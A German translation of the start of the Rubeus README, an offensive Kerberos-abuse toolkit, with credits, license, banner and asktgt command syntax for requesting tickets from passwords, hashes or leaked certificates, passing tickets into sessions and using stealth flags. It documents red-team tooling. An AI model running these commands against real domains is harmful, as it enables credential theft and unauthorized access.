
Versuch, den dreiköpfigen Hund zu zähmen.
Rubeus ist ein C#-Werkzeugsatz für rohe Kerberos-Interaktion und -Missbrauch. Er ist stark adaptiert von Benjamin Delpy's Kekeo Projekt (CC BY-NC-SA 4.0 Lizenz) und Vincent LE TOUX's MakeMeEnterpriseAdmin Projekt (GPL v3.0 Lizenz). Die volle Anerkennung gebührt Benjamin und Vincent für die Ausarbeitung der schwierigen Komponenten der Waffenlegung – ohne ihre Vorarbeit würde dieses Projekt nicht existieren.
Charlie Clark und Ceri Coburn haben beide bedeutende Beiträge als Co-Entwickler zur Rubeus-Codebasis geleistet. Elad Shamir hat wesentliche Arbeit für die ressourcenbasierte eingeschränkte Delegation beigetragen. Ihre Arbeit wird sehr geschätzt!
Rubeus verwendet außerdem eine C# ASN.1-Parsing-/Kodierungsbibliothek von Thomas Pornin namens DDer, die unter einer "MIT-ähnlichen" Lizenz veröffentlicht wurde. Großer Dank an Thomas für seinen sauberen und stabilen Code!
PKINIT-Code stark adaptiert von @SteveSyfuhs's Bruce-Tool. Bruce hat RFC4556 (PKINIT) viel verständlicher gemacht. Großer Dank an Steve!
NDR-Kodierung und -Dekodierung für Kerberos PAC basiert auf der NtApiDotNet-Bibliothek von @tiraniddo, danke James.
Die KerberosRequestorSecurityToken.GetRequest-Methode für Kerberoasting wurde von @machosec zu PowerView beigetragen (und dann in Rubeus integriert).
@harmj0y ist der Hauptautor dieser Codebasis.
Rubeus ist unter der BSD-3-Klausel-Lizenz lizenziert.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Ticketanforderungen und -verlängerungen:
Ein TGT basierend auf einem Benutzerpasswort/-hash abrufen, optional in einer Datei speichern oder auf die aktuelle Anmeldesitzung oder eine bestimmte LUID anwenden:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT basierend auf einem Benutzerpasswort/-hash abrufen, optional in einer Datei speichern oder auf die aktuelle Anmeldesitzung oder eine bestimmte LUID anwenden:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT basierend auf einem Benutzerpasswort/-hash abrufen, einen /netonly-Prozess starten und das Ticket auf den neuen Prozess/die neue Anmeldesitzung anwenden:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT unter Verwendung eines PCKS12-Zertifikats abrufen, einen /netonly-Prozess starten und das Ticket auf den neuen Prozess/die neue Anmeldesitzung anwenden:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Ein TGT unter Verwendung eines Zertifikats aus dem Benutzer-Zertifikatsspeicher (Smartcard) unter Angabe des Zertifikat-Fingerprints oder -Betreffs abrufen, einen /netonly-Prozess starten und das Ticket auf den neuen Prozess/die neue Anmeldesitzung anwenden:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Ein TGT abrufen, das zum Ändern eines Kontos mit abgelaufenem Passwort mit dem changepw-Befehl geeignet ist
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Ein TGT ohne Senden von Pre-Auth-Daten anfordern:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]